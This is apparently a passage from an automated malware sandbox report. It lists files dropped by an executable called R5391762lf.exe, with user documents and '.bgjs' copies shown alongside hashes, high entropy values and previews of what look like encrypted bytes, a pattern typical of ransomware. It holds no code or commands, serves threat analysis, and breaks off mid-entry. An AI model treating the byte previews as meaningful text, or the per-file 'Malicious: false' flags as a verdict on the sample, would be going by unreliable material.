Preview:	ZQIXMa.?.....-.O..g.............\..`.T=.^V...]M U....,.!14=.Tl..ab..S.c.,..K.......T.QR..T}.n.h..>...0q.....2@oCzB..5rX...>&..G..7.l..x..:5L.O%6...'..f(.LXu..!]...a.D5P.5i..U.9.5.)...c..X....md..g ).!soO...~m.$G.s...J.e.....r.G..v.!C..b.8u....g......v4....[..Iz......a..p .Z.lB..T..\|._........6./{......-n.....-.....{.....U."..N...y^K...b?.O...w.;.......(..lj...Ko~.....p+.N.....J.H^e.....a........<.X..B.-..4..W.....@-.~.5..N...,s.Rz....H.o?.J.,....k...Msyb....W...,.l...DQ.....~.7!.]..T.=1o..UKb...z/..15vY.$.(.q.N..^.1.M.5.B...........r.H..vQg[...^).......?~.{>.....S.{\...5....I.....y.....8o..5t`!........!.T0...)...\.p.Ut....z.....Pz.Q+L.2.]..@..sG..i'H.....ee..${..@....N...g+...?w.....42...~..k.5;.n3.Lt3.7....^z..xW9h...W.Q..-...j\|............EAf.;.{..r6.. .59.......f.l=onu..i..CQ\|......z...^."6G...$.{G.&..dt.._O81Jq..=u)...\..-.Li3.'.d._.1..s.....T.+.n.q.....kw.w.u...:.......]..G...C.P..Nuo..<p.v./.a.H.e..~..u?N.........d?.%....F..

C:\Users\user\Desktop\ZQIXMVQGAH.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865777687424365
Encrypted:	false
SSDEEP:	24:dqBTUd3cDqrQu7ShdFh5oDVF8Sd2FYmphiwQ2XXPj6Nm3Z1u5Lzmd8K/6tXq8uWX:dCTUd3hrQua8xetFLj5Q2X7em3Z81z+w
MD5:	9C894A3B250F5977F099D86323D6462F
SHA1:	DB6B37B1872B941E9F8029B6B59A6819A03E2DEF
SHA-256:	44932FEC4F23581E05B5CF9E4DBCDE1033163F15B86F64170CC0FD6787A17EC3
SHA-512:	6F18DAED43B75C7889E2A1ECD3FC0D34A7D9D5FA8E9F1C84A5345B36551310DFD8B0A4248FF426AD8E3574893C016E00F769C8436C2356E9FC8E389098C295CA
Malicious:	false
Preview:	ZQIXM..ny..$?[I...#..^4..... .7.M........q....&.:..H.>w....\...@_H....$a....}.r.....#...O\....-.e....._.....'7..F......q..T.'.........~.1..x.F.Kg.Z...g.c.1e[.......9'r.......V....t.....o.`_.8=.?..40g.6..,(`..@%c.ZN......A>.a.gV.u.@....b..!......e.h......~..A...Z..?[.4..r.62^..K....w.j....Q...\.....dm\|Y.. .r.5.........J+J.R~7"QE,.>x...M5G.....v.u.2uHzDL.v...X.@.......p.&.q]H+.c&..+T.'.9......lP5....AZ.-...C..l_i..CT.LL...P\.a......q.... ..pp..w.}.i.......D?`.q.p.UN....l2...Kw.... .7..f.\h;..3.>...(.......UPZ..5f.-.G.K..`.on....=I. ....w...\Y.~Ar.fx7.l..h.h.."6...86..\|.@.p...1...H..I....."..qz...a.1...K..B.P.....d.....l.f.B.6...^...W\|....P.....Zf...VB.Fj.......(.T.4..^......m]......B.&...<VO..O..35.!..S..%d.A.i.........U..va...g.k..~. .ml#?......ji....#.5v....M........i.pI1q......+.p... ).).GnV....)-.RO...K...x`!..69.....2......E.&)...%.q}...".....?z.G....z(.J....Q..g.E.hvU..0b.{.j....U8....W....1"........MR.a&.....R..q.?.6pOi.

C:\Users\user\Desktop\ZQIXMVQGAH.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865777687424365
Encrypted:	false
SSDEEP:	24:dqBTUd3cDqrQu7ShdFh5oDVF8Sd2FYmphiwQ2XXPj6Nm3Z1u5Lzmd8K/6tXq8uWX:dCTUd3hrQua8xetFLj5Q2X7em3Z81z+w
MD5:	9C894A3B250F5977F099D86323D6462F
SHA1:	DB6B37B1872B941E9F8029B6B59A6819A03E2DEF
SHA-256:	44932FEC4F23581E05B5CF9E4DBCDE1033163F15B86F64170CC0FD6787A17EC3
SHA-512:	6F18DAED43B75C7889E2A1ECD3FC0D34A7D9D5FA8E9F1C84A5345B36551310DFD8B0A4248FF426AD8E3574893C016E00F769C8436C2356E9FC8E389098C295CA
Malicious:	false
Preview:	ZQIXM..ny..$?[I...#..^4..... .7.M........q....&.:..H.>w....\...@_H....$a....}.r.....#...O\....-.e....._.....'7..F......q..T.'.........~.1..x.F.Kg.Z...g.c.1e[.......9'r.......V....t.....o.`_.8=.?..40g.6..,(`..@%c.ZN......A>.a.gV.u.@....b..!......e.h......~..A...Z..?[.4..r.62^..K....w.j....Q...\.....dm\|Y.. .r.5.........J+J.R~7"QE,.>x...M5G.....v.u.2uHzDL.v...X.@.......p.&.q]H+.c&..+T.'.9......lP5....AZ.-...C..l_i..CT.LL...P\.a......q.... ..pp..w.}.i.......D?`.q.p.UN....l2...Kw.... .7..f.\h;..3.>...(.......UPZ..5f.-.G.K..`.on....=I. ....w...\Y.~Ar.fx7.l..h.h.."6...86..\|.@.p...1...H..I....."..qz...a.1...K..B.P.....d.....l.f.B.6...^...W\|....P.....Zf...VB.Fj.......(.T.4..^......m]......B.&...<VO..O..35.!..S..%d.A.i.........U..va...g.k..~. .ml#?......ji....#.5v....M........i.pI1q......+.p... ).).GnV....)-.RO...K...x`!..69.....2......E.&)...%.q}...".....?z.G....z(.J....Q..g.E.hvU..0b.{.j....U8....W....1"........MR.a&.....R..q.?.6pOi.

C:\Users\user\Documents\EEGWXUHVUG.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8500740349783005
Encrypted:	false
SSDEEP:	24:YgMTlRcJ+u9+33mAu4Zfk3mcVsyQYC9YoFQRUpB8RMMOc8EBwGwLXq8uWbD:YgKCB4Jk3mcODYC9YyQRWB8RFOw6LXFX
MD5:	372BB7E4A5B343C853A67A9872A568E8
SHA1:	0F2B2FB31768CAC3B4D32252550D2CF7C217B2B4
SHA-256:	E72E4BAF1E2E3D7709B79C9EF38293CAB42A90CB892C100CF4C0DBADB6411253
SHA-512:	3E0B55205FBF8C308FDAB226CBE1FE3C56812EE7E2FF28C1E2BB3A1D0F7CFE3B957073FAFD383A351C011F674752E8EDB11B95FA2DC774FF0AC737488EA77CAF
Malicious:	false
Preview:	EEGWX0G..<?.p7.....n...5Q/....~...9K..&....~...&..HFhN%...G.dE..I.4..T....R.%..v2..9.X.O..I.t4..}b.....B...3.>0...Q4.. ..35..._..K...NO`.[..m..7z.R)..I..d.v.lVUx.HC.r8..m.c.<.v..!.l...K.T...G>~...3.Nr.Z.0Yzm.rO..q.Z...gx..m..;..To<.bC..<.......{g...X...!.aG.k..2..I.0.E..<R..G.N..f...C.>Zr...R.9.Y.U...LW.j.....D4 f..V.z.b...I..-G\|<E.....+.[.......a.i.....>..^Y..^.........}..dKu~...T.:]..Z..g.sZ.....o....q.......T..b...l..^....<v4...).x....q5.r...Op.....`%..S...\|..J.pke..../#....@....i.wXA...2.r........m...XV...R..@....(1m../0..,%...c.!..8..[...CNOG.....B...~q...u%...+..3ZL.'1.R.e......9(,I....}.......(`xv:@.53l..r....."s&W...~M..m...u..&&.w....c...w........`!.4q..r3....@......Uj.s...2.s...yr.5..ER.C..60....PR..W...>>!.R..L}..e....V...R.....+I..)&..../...."(.S..q..3H.......]..k.....q. .w.._2...7........W.).^S{>.@..f+.xA{...n.qe7K.R...nC..C....>.rw.G.0.2..~..a.(xP..\....^r=C$.4.s..o6^F.v0....i..c].b..By...O..K...iw.....\.....D...f..z\@

C:\Users\user\Documents\EEGWXUHVUG.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8500740349783005
Encrypted:	false
SSDEEP:	24:YgMTlRcJ+u9+33mAu4Zfk3mcVsyQYC9YoFQRUpB8RMMOc8EBwGwLXq8uWbD:YgKCB4Jk3mcODYC9YyQRWB8RFOw6LXFX
MD5:	372BB7E4A5B343C853A67A9872A568E8
SHA1:	0F2B2FB31768CAC3B4D32252550D2CF7C217B2B4
SHA-256:	E72E4BAF1E2E3D7709B79C9EF38293CAB42A90CB892C100CF4C0DBADB6411253
SHA-512:	3E0B55205FBF8C308FDAB226CBE1FE3C56812EE7E2FF28C1E2BB3A1D0F7CFE3B957073FAFD383A351C011F674752E8EDB11B95FA2DC774FF0AC737488EA77CAF
Malicious:	false
Preview:	EEGWX0G..<?.p7.....n...5Q/....~...9K..&....~...&..HFhN%...G.dE..I.4..T....R.%..v2..9.X.O..I.t4..}b.....B...3.>0...Q4.. ..35..._..K...NO`.[..m..7z.R)..I..d.v.lVUx.HC.r8..m.c.<.v..!.l...K.T...G>~...3.Nr.Z.0Yzm.rO..q.Z...gx..m..;..To<.bC..<.......{g...X...!.aG.k..2..I.0.E..<R..G.N..f...C.>Zr...R.9.Y.U...LW.j.....D4 f..V.z.b...I..-G\|<E.....+.[.......a.i.....>..^Y..^.........}..dKu~...T.:]..Z..g.sZ.....o....q.......T..b...l..^....<v4...).x....q5.r...Op.....`%..S...\|..J.pke..../#....@....i.wXA...2.r........m...XV...R..@....(1m../0..,%...c.!..8..[...CNOG.....B...~q...u%...+..3ZL.'1.R.e......9(,I....}.......(`xv:@.53l..r....."s&W...~M..m...u..&&.w....c...w........`!.4q..r3....@......Uj.s...2.s...yr.5..ER.C..60....PR..W...>>!.R..L}..e....V...R.....+I..)&..../...."(.S..q..3H.......]..k.....q. .w.._2...7........W.).^S{>.@..f+.xA{...n.qe7K.R...nC..C....>.rw.G.0.2..~..a.(xP..\....^r=C$.4.s..o6^F.v0....i..c].b..By...O..K...iw.....\.....D...f..z\@

C:\Users\user\Documents\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863637645619653
Encrypted:	false
SSDEEP:	24:APP0dU/z/mc5IvRM+paiMy4Dd6WJcTfcWLXiSAvNqJ6X87zWKXq8uWbD:A3SEz/NGv2sLy2EOlSUpXWKXFuED
MD5:	222E0204B145C0449A1AE8FBC01DE2DD
SHA1:	84E964CF0C421A22973AB5B94ECC588FF1DB4D6A
SHA-256:	23AB35239D5F8B3106865E229A874207877DE7375427DADDFA4785184CA25B15
SHA-512:	32CA4C6F1207AFBEC75B330F8062AFF3C3C6B27845DC414F039D6879866BABEF6DA8021DA314FA8A5232F374026D91E0AEC22E5B3B276EF92E26AAA7B64E54B2
Malicious:	false
Preview:	GRXZD....!...G.~...U...chS?..>K...x....."jS..\&>.....x_o:sA...+."....G.......8=.@.1......hd..4....b..w".....3'.a.}\9..l{..1.....D.....k..V...G..w..q.f.z.4.>.^..0..D...aQ.....bq.1.BZ...@.1.$...I...TR.a ...A^.e.Qu8.t....mn..:$1....P..s.!g....p}..M$..^.+.'...w.C"9..1+.#2T..H.K."..~..w...K[.9.,y...Xo.mf..%....`........u..ac.V..H.....{d.....1.r......T^...!A...x+...=....U<.SD.<.G...M...0.xcf..E~/.....[.].c...I.I^7...W0f..]..;.U..x.`Kd.k.XH....'.......a.....;......r..^..z.%.!W.....3"Pe)n.g1`.0S.}....S.Q.0).}.p.>.....3Z.>:......@_C.#...L......cE...s..wI...J._.sq,..V.)E.o~!.fM:.L.;.?....J9Q.`ohw.~,.#c....9...\|O.L.F..N)/..;....u}+.n..F%...u..K..H...........=]\t.B0S..f..y.8.........$..y..X............]....X..........%..8.\..<.....CQ.di{S.p.e....\..x..~x.[3.v.r..b_......8...cAW..v{.w.;.C..I....z..L%,R.x.Z...o....a.X...<.}W....P.:.......n.jZA..Z;o.....Y.\.j..(.*...OP......n.p.q(....K........@....W.Ma....!.........<.)I.x~..h...9........w..Gn.6.m-

C:\Users\user\Documents\GRXZDKKVDB.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863637645619653
Encrypted:	false
SSDEEP:	24:APP0dU/z/mc5IvRM+paiMy4Dd6WJcTfcWLXiSAvNqJ6X87zWKXq8uWbD:A3SEz/NGv2sLy2EOlSUpXWKXFuED
MD5:	222E0204B145C0449A1AE8FBC01DE2DD
SHA1:	84E964CF0C421A22973AB5B94ECC588FF1DB4D6A
SHA-256:	23AB35239D5F8B3106865E229A874207877DE7375427DADDFA4785184CA25B15
SHA-512:	32CA4C6F1207AFBEC75B330F8062AFF3C3C6B27845DC414F039D6879866BABEF6DA8021DA314FA8A5232F374026D91E0AEC22E5B3B276EF92E26AAA7B64E54B2
Malicious:	false
Preview:	GRXZD....!...G.~...U...chS?..>K...x....."jS..\&>.....x_o:sA...+."....G.......8=.@.1......hd..4....b..w".....3'.a.}\9..l{..1.....D.....k..V...G..w..q.f.z.4.>.^..0..D...aQ.....bq.1.BZ...@.1.$...I...TR.a ...A^.e.Qu8.t....mn..:$1....P..s.!g....p}..M$..^.+.'...w.C"9..1+.#2T..H.K."..~..w...K[.9.,y...Xo.mf..%....`........u..ac.V..H.....{d.....1.r......T^...!A...x+...=....U<.SD.<.G...M...0.xcf..E~/.....[.].c...I.I^7...W0f..]..;.U..x.`Kd.k.XH....'.......a.....;......r..^..z.%.!W.....3"Pe)n.g1`.0S.}....S.Q.0).}.p.>.....3Z.>:......@_C.#...L......cE...s..wI...J._.sq,..V.)E.o~!.fM:.L.;.?....J9Q.`ohw.~,.#c....9...\|O.L.F..N)/..;....u}+.n..F%...u..K..H...........=]\t.B0S..f..y.8.........$..y..X............]....X..........%..8.\..<.....CQ.di{S.p.e....\..x..~x.[3.v.r..b_......8...cAW..v{.w.;.C..I....z..L%,R.x.Z...o....a.X...<.}W....P.:.......n.jZA..Z;o.....Y.\.j..(.*...OP......n.p.q(....K........@....W.Ma....!.........<.)I.x~..h...9........w..Gn.6.m-

C:\Users\user\Documents\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826458507775366
Encrypted:	false
SSDEEP:	24:X3WdOZGjvR190gC5HYnsPdjmPWMFGi3eeQ7fGgTEmUsG4nZADJMNXq8uWbD:HjZu907JogmjCt7Fgj4nZADJoXFuED
MD5:	E2837CAF1FFAAAD2018E726F451E3071
SHA1:	C3B4870AA386EE8300E01F56B5E931103606E9C5
SHA-256:	6049A1EBBCBDD995F3B2EA3881A5F8C883708DE85EB98AA82E42E4F8BD4F0D1F
SHA-512:	B63487B500C5F4DE2BE244BA3217976D0D262F0D8E99B89CE28C563D0042090FD0A83CD48880A49A244283763F847D23348700C2BDBCD1993B4940101C5BF4B5
Malicious:	false
Preview:	IPKGE.S....K.y.V..b..c...i..? .?.n....,..O..^..9}......w..p....T.Lw...t..\|.jy.>J./.3..C.+._3#..1.C....L...7...y%.U.1.._....s-..?...9........%.....0.Y.#........].q..2...m{.9j........!........M.......c...r.A.Ue^D....d.M....r....b...:.#....+.~`....J.L?=..f...,&...._.......;.Y....).......<.p....^....Sl>o......'..ic...X.....T.....R$~q.kx.(>{S...&...-.Lg_...6..%......6...j.rK......dfo.)..zN.~V7.P..y.K....oX....g.(.\cT.tMC..J6..R..7[...cCgyzG`....8....$..f0.x.Jk_zxQ..vQ.}.O.hjI.......Y.....-gYd]6+.5X.{...C.)V.=.JK.i.k/..h.%.px....O........2..NT8./.Q?..j...B8....b]..0K.0.Y....'.....qg..U.6Y.rR..../........M.Ew}..CC]_.`~hd..P..........Q.L.ma..l..d.Oc.i[R.!yK..2...1.a.W`.....\|..j.Q~......zi........Y7>....../..T..hR...s+.DCy.A....~...l...o.}.6h...mY8.l....<.......lZ.%.#.y.....O....O.Sn<cK2...I.oP.......z..7].2..."N.B..COfz.s.....TDQ@...nU3...x.r..m...t.v...=)1.C+...6c...)...%QB.....).....7....TsaK....W!^?U...\w..0.N-.m...?.~\|......I%.w.l..m

C:\Users\user\Documents\IPKGELNTQY.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826458507775366
Encrypted:	false
SSDEEP:	24:X3WdOZGjvR190gC5HYnsPdjmPWMFGi3eeQ7fGgTEmUsG4nZADJMNXq8uWbD:HjZu907JogmjCt7Fgj4nZADJoXFuED
MD5:	E2837CAF1FFAAAD2018E726F451E3071
SHA1:	C3B4870AA386EE8300E01F56B5E931103606E9C5
SHA-256:	6049A1EBBCBDD995F3B2EA3881A5F8C883708DE85EB98AA82E42E4F8BD4F0D1F
SHA-512:	B63487B500C5F4DE2BE244BA3217976D0D262F0D8E99B89CE28C563D0042090FD0A83CD48880A49A244283763F847D23348700C2BDBCD1993B4940101C5BF4B5
Malicious:	false
Preview:	IPKGE.S....K.y.V..b..c...i..? .?.n....,..O..^..9}......w..p....T.Lw...t..\|.jy.>J./.3..C.+._3#..1.C....L...7...y%.U.1.._....s-..?...9........%.....0.Y.#........].q..2...m{.9j........!........M.......c...r.A.Ue^D....d.M....r....b...:.#....+.~`....J.L?=..f...,&...._.......;.Y....).......<.p....^....Sl>o......'..ic...X.....T.....R$~q.kx.(>{S...&...-.Lg_...6..%......6...j.rK......dfo.)..zN.~V7.P..y.K....oX....g.(.\cT.tMC..J6..R..7[...cCgyzG`....8....$..f0.x.Jk_zxQ..vQ.}.O.hjI.......Y.....-gYd]6+.5X.{...C.)V.=.JK.i.k/..h.%.px....O........2..NT8./.Q?..j...B8....b]..0K.0.Y....'.....qg..U.6Y.rR..../........M.Ew}..CC]_.`~hd..P..........Q.L.ma..l..d.Oc.i[R.!yK..2...1.a.W`.....\|..j.Q~......zi........Y7>....../..T..hR...s+.DCy.A....~...l...o.}.6h...mY8.l....<.......lZ.%.#.y.....O....O.Sn<cK2...I.oP.......z..7].2..."N.B..COfz.s.....TDQ@...nU3...x.r..m...t.v...=)1.C+...6c...)...%QB.....).....7....TsaK....W!^?U...\w..0.N-.m...?.~\|......I%.w.l..m

C:\Users\user\Documents\IPKGELNTQY.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831161132902849
Encrypted:	false
SSDEEP:	24:9OAqp3XwZt1GMi2Y21+r1vkekiRIN3MJ8IkZYGd1eZsKrnhlClQcWwkMoAfXq8uQ:9kJAV94/k+IlMJ+ZYSeCKrhoGPwkzqXp
MD5:	0168FE1B827230DEBF189A6AD6C01358
SHA1:	79DCEACE356B5005E4FE85A3BDC3F1884DD33648
SHA-256:	0E617E05F0BA9556870CF8077D6D317E62EF1EB172281BC4C39649EAF979BCA7
SHA-512:	5139FD5E828FADCD7C09F3ED4A906E90C037EAA78EC9AB8684F5A9819BE21B0CE54BA3F24DF35A91403D79661A79C70A27AAB850967CE802D328E9B99EEA9A65
Malicious:	false
Preview:	IPKGE...1.wNyT.>...t...r."...A#.a.f.{..C..8{...=DEL..:shh.)&..(\.;..V.9...$.~.Xb..=...,..:-Pf...~..h.....w:..nk.].J."...h;m.Y..e....v7c...'...X\...n.z.<.U....j=.....\.QI.e.(.$.....-....>.Jc7Qn.4`.]3..[.......$.A..'.-Q?.el1:Z..."4LC...3....D.....^)..K... ..X..'8...Yd_.H.......c._.%.z....:7......qW..].Y.........T.lWb..P..c...s....'.{.W{.......#q.f....=e....g.4Z....'.V3...RD...s".=..._.';s ..{.m..W.M..~.Xy.E.6...$...D.....A. .....-w..x.U.O,.....6..}K..>..\.....4RY.E..']..5O.]............./m@2..@l:{ l..^@Jw=K.`............3................n..)):..,..`U..oH.b.ba..~7...6D.Wu..a..i.}5.o.]...X.N?.W(.}.E..<d..Qvv..O..#uoa.....8....;.2))Z..d..b...l.P?m%c..C...G.3..{S.~.+E.RJT....\.\..%.a+..[b6y.\.rjbmJ..G..#..Fv...../+..`....cA.(.r\|..[.......P.;?G..(l..K.t2c......%..B.ga..).K...O...Q=.hR.I..e.b;.u.{(.%.Q....R.. ........g..K.z.n..t7Ja.;.a......'i...@.i '.%@.4..W..N. j3..o-..jM..+....x..h...ow....;.M....n.r... Z.r...E....u.~.........z..t.

C:\Users\user\Documents\IPKGELNTQY.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831161132902849
Encrypted:	false
SSDEEP:	24:9OAqp3XwZt1GMi2Y21+r1vkekiRIN3MJ8IkZYGd1eZsKrnhlClQcWwkMoAfXq8uQ:9kJAV94/k+IlMJ+ZYSeCKrhoGPwkzqXp
MD5:	0168FE1B827230DEBF189A6AD6C01358
SHA1:	79DCEACE356B5005E4FE85A3BDC3F1884DD33648
SHA-256:	0E617E05F0BA9556870CF8077D6D317E62EF1EB172281BC4C39649EAF979BCA7
SHA-512:	5139FD5E828FADCD7C09F3ED4A906E90C037EAA78EC9AB8684F5A9819BE21B0CE54BA3F24DF35A91403D79661A79C70A27AAB850967CE802D328E9B99EEA9A65
Malicious:	false
Preview:	IPKGE...1.wNyT.>...t...r."...A#.a.f.{..C..8{...=DEL..:shh.)&..(\.;..V.9...$.~.Xb..=...,..:-Pf...~..h.....w:..nk.].J."...h;m.Y..e....v7c...'...X\...n.z.<.U....j=.....\.QI.e.(.$.....-....>.Jc7Qn.4`.]3..[.......$.A..'.-Q?.el1:Z..."4LC...3....D.....^)..K... ..X..'8...Yd_.H.......c._.%.z....:7......qW..].Y.........T.lWb..P..c...s....'.{.W{.......#q.f....=e....g.4Z....'.V3...RD...s".=..._.';s ..{.m..W.M..~.Xy.E.6...$...D.....A. .....-w..x.U.O,.....6..}K..>..\.....4RY.E..']..5O.]............./m@2..@l:{ l..^@Jw=K.`............3................n..)):..,..`U..oH.b.ba..~7...6D.Wu..a..i.}5.o.]...X.N?.W(.}.E..<d..Qvv..O..#uoa.....8....;.2))Z..d..b...l.P?m%c..C...G.3..{S.~.+E.RJT....\.\..%.a+..[b6y.\.rjbmJ..G..#..Fv...../+..`....cA.(.r\|..[.......P.;?G..(l..K.t2c......%..B.ga..).K...O...Q=.hR.I..e.b;.u.{(.%.Q....R.. ........g..K.z.n..t7Ja.;.a......'i...@.i '.%@.4..W..N. j3..o-..jM..+....x..h...ow....;.M....n.r... Z.r...E....u.~.........z..t.

C:\Users\user\Documents\IPKGELNTQY\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85828313987843
Encrypted:	false
SSDEEP:	24:id0JvFAvF0iW/bWK753VO2W5vl1ln80jSKHzT2RfaVOkAsFF7OwXq8uWbD:TFmLW6KV3VEvTlnteKP0CVnfiwXFuED
MD5:	B3D4249FC6E0F8008BE6C0C8679EC0B4
SHA1:	8446838E12F5B89FB5256D7475B48B55DCFAF019
SHA-256:	2213792C8E7ED056F7B4ABC465904EBFE51102CD22ED7B25876FF01344A41FE1
SHA-512:	971AA95AC0BBEC89EA2655FE6C4973A88B8224EFA82B379EE4AA68C830409DF0CE35D63BF682AD332DE9CEAEDCDC8F119943F96619CC546061257F7755905DF2
Malicious:	false
Preview:	GRXZDx.....Hx."._.~.]..f.7Hc..]..6..IH.@UG9..b..SE.Z..d._..'..U&\.^..'1..D..J ....+......BW.2....a...Rk.Z..~.M..B....Q..g...Z..t...M.7.......E../..47Jd.eKF..v..t.)`lh..>..5.(9.e..3.I..,f....w..2^...T....I.P`..s.f...O....}.E!.@d.#{[.w......R\..G..k.N.y..`M.#.LI.%g..Q....$i...>ia..q\|.)_#..z<......v&..R...B..Jh......=.zl.../...U..\Q.<f.8.V...x....z..@..T....d.H.@.e.e.)F..._w...5.}.i,....D.SUH. b.aV.~.h..&f..=...".@0-....xP.:NP1.xL/..]..e..-.....,em.p5.jq..Fl7...;.....K..U.Y}..%.(.4.v.c`.WS.!a..=..s..T...^....&.g.......R.2.k.G..L.P.bY..........:..D......)..5..1)3.P"j~_ ...'..%..&....t]..b...U%.n....S...). .A..(.......y.4Z.R...yS...F..~......QW5..}.fQvn.}.I..X.?....>.10...3....,he.j..f.p.d ...e..olr....:.".+.X...M.K..(..d......b..r...<4..kw ...9Y......k....H{g...Fp[.....F...c.k.6.].q..C..i.T+.\>C.....,.\|t.F.2 -M...N...U.0.X...dn....2...?.A.yG....mh?X....).:.........@.p..h...Y.{..:.8.G.c..$.8.x9DZA.}'[.........y..8ua.xB,.I..M..y...A.S..y..\|

C:\Users\user\Documents\IPKGELNTQY\GRXZDKKVDB.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85828313987843
Encrypted:	false
SSDEEP:	24:id0JvFAvF0iW/bWK753VO2W5vl1ln80jSKHzT2RfaVOkAsFF7OwXq8uWbD:TFmLW6KV3VEvTlnteKP0CVnfiwXFuED
MD5:	B3D4249FC6E0F8008BE6C0C8679EC0B4
SHA1:	8446838E12F5B89FB5256D7475B48B55DCFAF019
SHA-256:	2213792C8E7ED056F7B4ABC465904EBFE51102CD22ED7B25876FF01344A41FE1
SHA-512:	971AA95AC0BBEC89EA2655FE6C4973A88B8224EFA82B379EE4AA68C830409DF0CE35D63BF682AD332DE9CEAEDCDC8F119943F96619CC546061257F7755905DF2
Malicious:	false
Preview:	GRXZDx.....Hx."._.~.]..f.7Hc..]..6..IH.@UG9..b..SE.Z..d._..'..U&\.^..'1..D..J ....+......BW.2....a...Rk.Z..~.M..B....Q..g...Z..t...M.7.......E../..47Jd.eKF..v..t.)`lh..>..5.(9.e..3.I..,f....w..2^...T....I.P`..s.f...O....}.E!.@d.#{[.w......R\..G..k.N.y..`M.#.LI.%g..Q....$i...>ia..q\|.)_#..z<......v&..R...B..Jh......=.zl.../...U..\Q.<f.8.V...x....z..@..T....d.H.@.e.e.)F..._w...5.}.i,....D.SUH. b.aV.~.h..&f..=...".@0-....xP.:NP1.xL/..]..e..-.....,em.p5.jq..Fl7...;.....K..U.Y}..%.(.4.v.c`.WS.!a..=..s..T...^....&.g.......R.2.k.G..L.P.bY..........:..D......)..5..1)3.P"j~_ ...'..%..&....t]..b...U%.n....S...). .A..(.......y.4Z.R...yS...F..~......QW5..}.fQvn.}.I..X.?....>.10...3....,he.j..f.p.d ...e..olr....:.".+.X...M.K..(..d......b..r...<4..kw ...9Y......k....H{g...Fp[.....F...c.k.6.].q..C..i.T+.\>C.....,.\|t.F.2 -M...N...U.0.X...dn....2...?.A.yG....mh?X....).:.........@.p..h...Y.{..:.8.G.c..$.8.x9DZA.}'[.........y..8ua.xB,.I..M..y...A.S..y..\|

C:\Users\user\Documents\IPKGELNTQY\PIVFAGEAAV.jpg

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836225294462926
Encrypted:	false
SSDEEP:	24:HBA6psqxGNPBOWUWkQgTWODceN9Kck5CmZmzxsHB7qKUHIH1fq8ct1u/fzXq8uWX:HG6psqwNbUjVo2k5CAmzxstX0/tcXFuQ
MD5:	DB3AB6F1CF67790A4CB8EE5B10A72BFC
SHA1:	D3D790A8104E1E1DE73E95FC58839A3A9984086B
SHA-256:	80FD560D3ADF1CCE04B684F1B9F3DB61EB451688420DF180F0526A05C2A4BB28
SHA-512:	E2557D92C253EE5918DCDC03B0664141E65B9C61D3CE89DF627D06AD048920FB7045288F7EC0801B5A2BB14BE8C9E1CDFCD65B8DB017D35392329A3C3DF6942F
Malicious:	false
Preview:	PIVFAB...U..u3_$D{n..?...q.\h"...f...x][..%.........s.a~...s..k$.v..B.......\...Vc........."ts.\..qR....~.+,...P.=5.\|..:.oa@qW.&...,L./..t[.%=...1!.N....C.b...L..6..@c,c......2!.I>.$.f..}>k....}V$c.$q_.K..R.-.].=hr.L..........\|..]S .x.B8.:..e.l...P...W..XS.\|b.....-0j3&...f..g..LD....k .K..8.........a.........J....H.5y......VN....vx.w..W.p.x....`..4fF..d.../....6.~..n...7..G\|A..#....-.k8a5../=...O..Y..Q...O.....sA......5.....6W.....X.n7.Zs.c<h...-.......f.=n.....7.5W..X.....8..N.<.e.Q...>....S29../..}.6....]$.8....0..Z.o...3..V...zV...,.<...95A.../.bQ.8QA...;....F........C..M..M].;.....5...&.x .^..9.>~g.0.9{.VK....Q.{.s.Q...A@..b.;.#...j.,[.4:i.$[P..'..6yE...?...Co.vP.FNLm._/.k.\..E....RI.......l$."..V..l...R......\|.W..J-......`..1...G......g..<1..........G.n.....H.6&@......c.>...el%...3....=...#,.....l..oZ...XS.>.N..X...].\...3..,#.....6P2.(.t.7S.~X.z.aE(3a.._1.f.=J..........u...v...v1....T.^..#Z.&.....@b...H...j...t.;..5..P...

C:\Users\user\Documents\IPKGELNTQY\PIVFAGEAAV.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836225294462926
Encrypted:	false
SSDEEP:	24:HBA6psqxGNPBOWUWkQgTWODceN9Kck5CmZmzxsHB7qKUHIH1fq8ct1u/fzXq8uWX:HG6psqwNbUjVo2k5CAmzxstX0/tcXFuQ
MD5:	DB3AB6F1CF67790A4CB8EE5B10A72BFC
